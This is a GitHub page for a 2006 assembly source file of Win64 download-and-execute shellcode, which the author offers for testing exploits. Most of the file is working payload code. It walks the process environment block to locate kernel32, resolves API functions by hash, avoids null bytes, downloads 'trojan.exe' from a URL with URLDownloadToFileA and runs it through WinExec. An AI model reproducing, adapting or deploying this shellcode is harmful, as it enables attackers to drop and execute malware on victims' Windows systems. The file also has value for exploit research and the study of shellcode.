-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-150.c
executable file
·163 lines (133 loc) · 4.44 KB
/
shellcode-150.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
;
; dexec64.asm - 218+ bytes (unoptimised)
;
; Win64 asm code, download & execute file using URLDownloadToFileA moniker & WinExec
;
; tested on AMD64 running Windows x64 SP1
;
; there probably are errors in the code, but this is more of an experimental source if nothing else.
; send corrections or errors to: 'weiss' wyse101 [at] gmail [dot] com
; code is not optimised at all, doesn't contain null bytes, so is possibly suitable for testing exploits on win64
;
; one of the main stumbling blocks in coding x64 asm on windows is the alignment of the stack.
; it must be aligned by 16 bytes because windows uses 128-bit SSE2, otherwise the api call will fail.
;
; thanx:
;
; roy g biv/29a - http://www.29a.net/
; Feryno - http://feryno.host.sk
; Tomasz Grysztar - http://flatassembler.org
;
format PE64 console 4.0
entry entrypoint
section '.text' code readable writeable executable ; assumed to be writeable when in memory, no NX obstruction!
; 1*8 is used rather than 0*8 because it uses null byte
LoadLibraryA equ rbp+1*8 ; using rbp is smaller than using ebp on 64-bit
WinExec equ rbp+2*8
URLDownloadToFileA equ rbp+3*8 ; must be rbp because of 64-bit URLMON base address
entrypoint:
jmp get_eip
load_dta:
pop rax
push rax
lea r15,[rax-(setup_stack-hashes)]
inc byte [rax-(setup_stack-url_end)] ; nullify tail end of url
inc byte [rax-(setup_stack-fname_end)] ; nullify end of filename
inc byte [rax-(setup_stack-url_mon_end)] ; nullify end of URLMON
ret ; go!
hashes:
dw 0bb86h ; LoadLibraryA() 635bbb86
dw 0a333h ; WinExec() 208da333
db 'URLMON',0ffh,0ffh
url_mon_end = $-2
dw 05f92h ; URLDownloadToFileA c91e5f92
dq -1
fname:
db 'trojan.exe',0ffh ; what to save as
fname_end = $-1
url:
db 'http://localhost/trojan.exe',0ffh ; where to download file from
url_end = $-1
get_eip:
call load_dta
setup_stack:
add rsp,-(4*8) ; 3 api variables, + 1 for avoiding null :-|
push rsp
pop rbp ; rbp = table of api
mov rdi,rbp ; rdi points to table also
stosq ; doesn't really do anything.
add rsp,-(11*8) ; reserve space for windows, when calling api
push 60h ; Hello, Ratter. 8-D
pop rcx
mov rax,[gs:rcx] ; Peb
mov rax,[rax+18h] ; PebLdr
mov rsi,[rax+30h] ; Ldr.InInitializationOrderModuleList
lodsq ; skip ntdll.dll
mov rbx,[rax+10h] ; kernel32.dll base
mov cl,2 ; get 2 api first
get_apis_loop:
mov eax,dword[rbx+3ch] ; MZ header size
lea rsi,[rbx+rax+78h] ; export directory begins at 88h
mov eax,dword[rsi+10h] ; extra instructions needed to avoid null bytes
lea rsi,[rbx+rax+1ch]
lodsd
lea r9,[rax+rbx]
lodsd
lea r10,[rax+rbx]
lodsd
lea r11,[rax+rbx]
xor r12,r12
load_index:
mov esi,dword[r10+4*r12]
add rsi,rbx
inc r12
xor eax,eax
cdq
hash_export:
lodsb
add edx,eax
rol edx, 5
dec eax
jns hash_export
ror edx, 5
cmp dx,word [r15] ; found api?
jne load_index
movzx edx,word [r11+2*r12-2]
mov eax,[r9+4*rdx]
add rax,rbx
add r15,2 ; skip hash
stosq ; save api address
loop get_apis_loop
push r15 ; push/pop to avoid null with mov
pop rcx
call qword[LoadLibraryA]
xchg rax,rbx
add r15,8 ; skip URLMON, first time.
push 1 ; get 1 api from URLMON
pop rcx
test rbx,rbx ; continue if not zero
jne get_apis_loop
dec ecx
push rbx
sub rsp,3*8 ; needed to align stack
xor r9,r9
mov r8,r15
lea rdx,[r8+(url-fname)]
call qword[URLDownloadToFileA]
push 1
pop rdx
mov rcx,r15
call qword[WinExec] ; WinExec("trojan.exe",SW_SHOWNORMAL??);
;jmp $ ; hang
call qword[ExitProcess] ; not required, testing only
; section below not required, simply for testing.
section '.idata' import data readable writeable
dd 0,0,0,RVA kernel_name,RVA kernel_table
dd 0,0,0,0,0
kernel_table:
ExitProcess dq RVA _ExitProcess
dq 0
kernel_name db 'KERNEL32.DLL',0
_ExitProcess dw 0
db 'ExitProcess',0
; July 2006 - (Ireland)